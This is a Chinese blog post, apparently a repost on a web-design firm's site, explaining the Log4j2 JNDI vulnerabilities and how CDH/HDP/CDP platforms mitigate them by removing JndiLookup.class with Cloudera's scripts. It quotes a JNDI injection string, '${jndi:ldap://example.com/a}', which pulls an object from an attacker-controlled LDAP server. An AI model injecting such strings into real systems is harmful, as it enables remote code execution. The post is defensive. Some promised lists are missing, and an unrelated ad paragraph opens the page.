大家好,我是明哥!
为天祝藏族自治等地区用户提供了全套网页设计制作服务,及天祝藏族自治网站建设行业解决方案。主营业务为网站设计、成都做网站、天祝藏族自治网站设计,以传统方式定制建设网站,并提供域名空间备案等一条龙服务,秉承以专业、用心的态度为用户提供真诚的服务。我们深信只要达到每一位用户的要求,就会得到认可,从而选择与我们长期合作。这样,我们也可以走得更远!
近期 LOG4J 围绕JNDI的安全漏洞频繁暴雷,着实让小伙伴们忙活了一阵。
本文我们就一起来看下,CDH/HDP/CDP 等大数据平台中如何快速应对 LOG4J 的 JNDI 系列漏洞。
Apache Log4j 是一款基于 Java 的开源日志框架,而 Apache Log4j2 在 Log4j 的基础上,参考了另一款日志框架 logback,做了大量改进增加了很多丰富的特性。
在实现上,log4j2 做到了 api seperation, 包括 log4j-core 和 log4j-api, 其中前者是日志框架的具体实现(Logback是日志框架的另一款具体实现),后者则是日志门面/日志抽象 logging facade(Simple Logging Facade for Java (slf4j)是另一款日志门面/日志抽象)。
在性能上,Log4j2 由于使用了 Asynchronous loggers,(应用代码在调用 Logger.log 时,其实是将 I/O 操作的执行交给了另一个 IO 线程,并立即返回了应用线程),在多线程环境下,可以做到 LOG4J1.X 和 logback 18倍的吞吐量,并有着更低的延迟。
在架构上,log4j2 采用了插件机制,所以用户不需要额外编写代码,即可根据自己的情况配置自己的 Appender/Layout/Pattern Converter, log4j2 会自动识别配置文件并使用其中配置的插件。
正式由于以上诸多优点,log4j 成为了 JAVA 生态中应用最广泛的日志框架。
近期暴雷的 JNDI 系列漏洞,包括以下三个:
以上 JNDI 系列漏洞,LOG4J2 官方团队已经修复,概括起来, 针对危险等级为 critical 的 CVE-2021-44228 和 CVE-2021-45046,解决方式如下:
以上 JNDI 系列漏洞,其根源都可以追溯到 Log4j 早年间引入的一个 Feature:LOG4J2-313:JNDI Lookup plugin support:2013 年,Log4j 在 2.0-beta9 版本中添加了 “JNDILookup plugin” 功能。
JNDI 其实是 Java 在 1990 年之后引入的一种目录服务,是 J2EE 的重要组成部分,让 Java 程序可以以 Java 对象的形式通过目录查找数据。JNDI 提供了多种 SPI 支持不同的目录服务,如 CORBA COS (公共对象服务)、Java RMI (远程方法接口) Registry 和 LDAP (轻量级目录访问协议)。
根据 JNDI 官方帮助文档描述 “如果您的 LDAP 服务器位于另一台机器上或正在使用另一个端口,那么您需要编辑 LDAP URL”,LDAP 服务器可以在不同的机器上运行,也可以在 Internet 上的任何地方运行。这种灵活性意味着如果攻击者能够控制 LDAP URL,他们就能够让 Java 程序从他们控制的服务器加载对象。
在 Log4j 包含漏洞的版本中,攻击者可以通过传入类似 “${jndi:ldap://example.com/a}” 形式的字符串来控制 Log4j 访问的 LDAP URL。在这种情况下,Log4j 将连接到 example.com 上的 LDAP 服务器并检索对象。
更多关于 JNDI 的细节,我们这里不再赘述,有兴趣的可以自己做下功课,不过以下要点,跟大家概括下:
从根本上讲,应对LOG4J JNDI 系列漏洞的思路,正如其官方文档所述,有以下几种:
所以:
由于 CDH/HDP/CDP 等大数据平台中,背后的大数据组件众多,并不是每一个组件背后的社区都能快速响应,修复上述 LOG4J JNDI 系列漏洞并提供正式的修复版本,所以 CDH/HDP/CDP 等大数据平台中,快速应对LOG4J的JNDI系列漏洞,采用的思路,就是使用上述临时解决方案,即删除类加载路径上的危险类 JndiLookup.class(本质是因为,这些大数据组件底层,都没有使用到 LOG4J 的“JNDI Lookup plugin support” 功能)。
同时,为进一步简化临时解决方案的实施难度,Cloudera 在 GitHub 上提供了系列脚本,来辅助删除 CDH/HDP/CDP 等大数据平台上的危险类 JndiLookup.class。
其它大数据平台,如TDH等,其思路类似,大家可以参考上述脚本,有针对性地修改获得。
大家可以去 GITHUB 自行下载上述脚本,GITHUB 下载链接如下:https://github.com/cloudera/cloudera-scripts-for-log4j.git
网站栏目:Cdh/Hdp/Cdp等大数据平台中如何快速应对Log4j的Jndi系列漏洞
URL网址:http://www.shufengxianlan.com/qtweb/news35/545135.html
网站建设、网络推广公司-创新互联,是专注品牌与效果的网站制作,网络营销seo公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联